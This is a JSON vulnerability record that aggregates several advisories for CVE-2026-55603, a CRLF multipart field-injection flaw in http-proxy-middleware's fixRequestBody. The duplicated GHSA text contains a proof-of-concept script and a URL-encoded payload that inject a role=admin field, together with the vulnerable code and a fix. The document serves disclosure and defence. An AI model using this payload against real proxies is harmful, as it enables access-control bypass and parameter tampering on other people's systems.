{"id":"CVE-2026-55603","aliases":["CLSA-2026-1792000560","CLSA-2026-1792449353","EUVD-2026-38349","GHSA-gcq2-9pq2-cxqm","ROOT-APP-NPM-CVE-2026-55603"],"status":"published","title":"http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`","description":"http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \\r\\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00286,"percentile":0.21327,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-93"],"published":"2026-06-18T13:06:21Z","modified":"2026-10-28T02:30:41Z","fixes":[{"ecosystem":"npm","package":"http-proxy-middleware","fixed_in":["3.0.7","4.1.1"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"@rootio/http-proxy-middleware","fixed_in":["3.0.5-root.io.1","3.0.5-root.io.2"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"http-proxy-middleware","fixed_in":["3.0.5-aikido.1","3.0.5-aikido.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.4"},{"fixed":"3.0.7"}]}]},{"source":"ghsa","ecosystem":"npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.1.1"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0-tuxcare.0"},{"fixed":"4.0.0-tuxcare.1"}]}],"versions":["4.0.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.5-tuxcare.0"},{"fixed":"3.0.5-tuxcare.1"}]}],"versions":["3.0.5"],"bundled":2},{"source":"osv","ecosystem":"npm","package":"http-proxy-middleware","ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.4"},{"fixed":"3.0.7"}]}]},{"source":"osv","ecosystem":"npm","package":"http-proxy-middleware","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.1.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.5-root.io.1"},{"fixed":"3.0.5-root.io.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.5-aikido.1"},{"fixed":"3.0.5-aikido.2"}]}]}],"products":[{"vendor":"chimurai","product":"http-proxy-middleware"}],"references":[{"url":"https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/advisories/GHSA-gcq2-9pq2-cxqm"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55603.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55603","tags":["advisory"]},{"url":"https://github.com/chimurai/http-proxy-middleware","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-55603","title":"http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`","description":"http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \\r\\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.","status":"published","published":"2026-06-22T20:07:05.034Z","modified":"2026-06-23T12:21:14.668Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:20:11.925815Z"}],"euvd":[{"id":"EUVD-2026-38349","description":"http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \\r\\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.","status":"published","published":"2026-06-22T20:07:05Z","modified":"2026-06-23T12:21:14Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T18:20:33.850201Z"}],"ghsa":[{"id":"GHSA-gcq2-9pq2-cxqm","title":"http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`","description":"## Summary\n`fixRequestBody()` is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**:\n\n```js\n// dist/handlers/fix-request-body.js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n  let str = '';\n  for (const [key, value] of Object.entries(data)) {\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key}\"\\r\\n\\r\\n${value}\\r\\n`;\n  }\n}\n```\n\nA `\\r\\n` inside a value (or key) lets an attacker close the current part and inject an **entirely new form part**. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on `req.body` is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.\n\nBy contrast, the sibling output branches are safe: `application/json` uses `JSON.stringify` (escapes control chars) and `application/x-www-form-urlencoded` uses `querystring.stringify` (percent-encodes). Only the multipart branch lacks escaping.\n\n## Preconditions \nAll three must hold; this narrows real-world exposure and is the basis for `AC:H`:\n1. The proxy app populates `req.body` with a **non-multipart** parser (`express.urlencoded`, `express.json`, or text) so an injected boundary in a value is **not** split on input.\n2. The proxied (outgoing) request is sent as **`multipart/form-data`** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.\n3. The app calls `fixRequestBody` (the documented pattern for \"I body-parsed, now re-stream\"), and an attacker controls at least one body field value or key.\n\n\u003e Note: a pure multipart-in → multipart-out flow (e.g. `multer`) is generally **not** exploitable for a *new-field* injection, because the proxy's multipart parser already splits the injected boundary, so `req.body` and the backend agree. The desync specifically requires a non-multipart input parser.\n\n## Impact\nWhen the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:\n- **Validation / access-control bypass** bypass gateway-side field checks (demonstrated below: a gateway that forbids `role=admin` is bypassed; backend grants admin).\n- **Parameter tampering** add or overwrite fields the backend trusts (IDs, flags, prices).\n- **File-part injection** inject a `filename=\"...\"` part into the upstream multipart stream.\n\n## Proof of Concept\n\n```js\n// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)\nimport { fixRequestBody } from 'http-proxy-middleware';\n\n// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.\n// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:\nconst req = { readableLength: 0, body: {\n  user: 'alice\\r\\n--BB\\r\\nContent-Disposition: form-data; name=\"role\"\\r\\n\\r\\nadmin\\r\\n--BB--'\n}};\n\n// Minimal stand-in for the outgoing proxy request; capture what gets written.\nconst out = [];\nconst proxyReq = {\n  h: { 'content-type': 'multipart/form-data; boundary=BB' },\n  getHeader(n){ return this.h[n.toLowerCase()]; },\n  setHeader(n,v){ this.h[n.toLowerCase()] = v; },\n  write(d){ out.push(Buffer.from(d)); },\n};\n\nfixRequestBody(proxyReq, req);          // library rebuilds the multipart body\nconsole.log(Buffer.concat(out).toString());\n```\n\nOutput: one input field becomes **two** parts; `role=admin` was injected via the unescaped CRLF:\n\n```\n--BB\nContent-Disposition: form-data; name=\"user\"\n\nalice\n--BB\nContent-Disposition: form-data; name=\"role\"     \u003c-- injected part; never present in req.body's keys\nadmin\n--BB--\n```\n\n`req.body` had a single key (`user`), so any gateway policy checking `req.body.role` passes, yet the backend's multipart parser receives `role=admin`. On the wire the attacker simply sends, as `application/x-www-form-urlencoded`: `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name=\"role\"%0D%0A%0D%0Aadmin%0D%0A--BB--`\n\n## Remediation\nNeutralize CR/LF (and `\"`) in keys/values before interpolation, or build the body with a real multipart encoder (e.g. `FormData` / `form-data`) instead of string concatenation. Minimal fix:\n\n```js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n  const bad = /[\\r\\n]/;\n  let str = '';\n  for (const [key, value] of Object.entries(data)) {\n    const v = String(value);\n    if (bad.test(key) || bad.test(v)) {\n      throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');\n    }\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key.replace(/\"/g, '%22')}\"\\r\\n\\r\\n${v}\\r\\n`;\n  }\n}\n```\n(Reject is preferable to silent stripping, to avoid masking malicious input.)","status":"published","published":"2026-06-18T13:06:21Z","modified":"2026-06-18T13:06:24Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"high"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:40:29.43528Z"}],"nvd":[{"id":"CVE-2026-55603","description":"http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \\r\\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.","status":"published","published":"2026-06-22T21:16:26.033Z","modified":"2026-10-25T23:10:00.167Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:12:25.288279Z"}],"osv":[{"id":"CVE-2026-55603","title":"http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`","description":"http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \\r\\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.","status":"published","published":"2026-06-22T20:07:05.034Z","modified":"2026-10-28T02:30:41.570761424Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"high"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-gcq2-9pq2-cxqm","title":"http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`","description":"## Summary\n`fixRequestBody()` is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**:\n\n```js\n// dist/handlers/fix-request-body.js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n  let str = '';\n  for (const [key, value] of Object.entries(data)) {\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key}\"\\r\\n\\r\\n${value}\\r\\n`;\n  }\n}\n```\n\nA `\\r\\n` inside a value (or key) lets an attacker close the current part and inject an **entirely new form part**. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on `req.body` is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.\n\nBy contrast, the sibling output branches are safe: `application/json` uses `JSON.stringify` (escapes control chars) and `application/x-www-form-urlencoded` uses `querystring.stringify` (percent-encodes). Only the multipart branch lacks escaping.\n\n## Preconditions \nAll three must hold; this narrows real-world exposure and is the basis for `AC:H`:\n1. The proxy app populates `req.body` with a **non-multipart** parser (`express.urlencoded`, `express.json`, or text) so an injected boundary in a value is **not** split on input.\n2. The proxied (outgoing) request is sent as **`multipart/form-data`** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.\n3. The app calls `fixRequestBody` (the documented pattern for \"I body-parsed, now re-stream\"), and an attacker controls at least one body field value or key.\n\n\u003e Note: a pure multipart-in → multipart-out flow (e.g. `multer`) is generally **not** exploitable for a *new-field* injection, because the proxy's multipart parser already splits the injected boundary, so `req.body` and the backend agree. The desync specifically requires a non-multipart input parser.\n\n## Impact\nWhen the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:\n- **Validation / access-control bypass** bypass gateway-side field checks (demonstrated below: a gateway that forbids `role=admin` is bypassed; backend grants admin).\n- **Parameter tampering** add or overwrite fields the backend trusts (IDs, flags, prices).\n- **File-part injection** inject a `filename=\"...\"` part into the upstream multipart stream.\n\n## Proof of Concept\n\n```js\n// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)\nimport { fixRequestBody } from 'http-proxy-middleware';\n\n// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.\n// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:\nconst req = { readableLength: 0, body: {\n  user: 'alice\\r\\n--BB\\r\\nContent-Disposition: form-data; name=\"role\"\\r\\n\\r\\nadmin\\r\\n--BB--'\n}};\n\n// Minimal stand-in for the outgoing proxy request; capture what gets written.\nconst out = [];\nconst proxyReq = {\n  h: { 'content-type': 'multipart/form-data; boundary=BB' },\n  getHeader(n){ return this.h[n.toLowerCase()]; },\n  setHeader(n,v){ this.h[n.toLowerCase()] = v; },\n  write(d){ out.push(Buffer.from(d)); },\n};\n\nfixRequestBody(proxyReq, req);          // library rebuilds the multipart body\nconsole.log(Buffer.concat(out).toString());\n```\n\nOutput: one input field becomes **two** parts; `role=admin` was injected via the unescaped CRLF:\n\n```\n--BB\nContent-Disposition: form-data; name=\"user\"\n\nalice\n--BB\nContent-Disposition: form-data; name=\"role\"     \u003c-- injected part; never present in req.body's keys\nadmin\n--BB--\n```\n\n`req.body` had a single key (`user`), so any gateway policy checking `req.body.role` passes, yet the backend's multipart parser receives `role=admin`. On the wire the attacker simply sends, as `application/x-www-form-urlencoded`: `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name=\"role\"%0D%0A%0D%0Aadmin%0D%0A--BB--`\n\n## Remediation\nNeutralize CR/LF (and `\"`) in keys/values before interpolation, or build the body with a real multipart encoder (e.g. `FormData` / `form-data`) instead of string concatenation. Minimal fix:\n\n```js\nfunction handlerFormDataBodyData(contentType, data) {\n  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n  const bad = /[\\r\\n]/;\n  let str = '';\n  for (const [key, value] of Object.entries(data)) {\n    const v = String(value);\n    if (bad.test(key) || bad.test(v)) {\n      throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');\n    }\n    str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key.replace(/\"/g, '%22')}\"\\r\\n\\r\\n${v}\\r\\n`;\n  }\n}\n```\n(Reject is preferable to silent stripping, to avoid masking malicious input.)","status":"published","published":"2026-06-18T13:06:21Z","modified":"2026-06-18T13:26:30.358166Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","level":"high"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T15:46:47.822182Z"},{"id":"CLSA-2026-1792000560","title":"TuxCare security update for http-proxy-middleware (2 CVEs)","description":"TuxCare rebuilt http-proxy-middleware to address 2 CVEs. Fixed in 4.0.0-tuxcare.1.","status":"published","published":"2026-10-14T17:56:00Z","modified":"2026-10-15T09:47:40.496606527Z","updated_at":"2026-11-02T15:43:50.599064Z"},{"id":"CLSA-2026-1792449353","title":"TuxCare security update for http-proxy-middleware (2 CVEs)","description":"TuxCare rebuilt http-proxy-middleware to address 2 CVEs. Fixed in 3.0.5-tuxcare.1.","status":"published","published":"2026-10-19T22:35:53Z","modified":"2026-10-20T01:45:11.700373961Z","updated_at":"2026-11-02T15:43:54.378946Z"},{"id":"ROOT-APP-NPM-CVE-2026-55603","title":"CVE-2026-55603 in @rootio/http-proxy-middleware - Patched by Root","description":"Root has patched CVE-2026-55603 in the @rootio/http-proxy-middleware package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-07-27T08:21:28Z","modified":"2026-07-27T13:15:27.335647458Z","updated_at":"2026-11-02T15:53:27.649662Z"}]}}
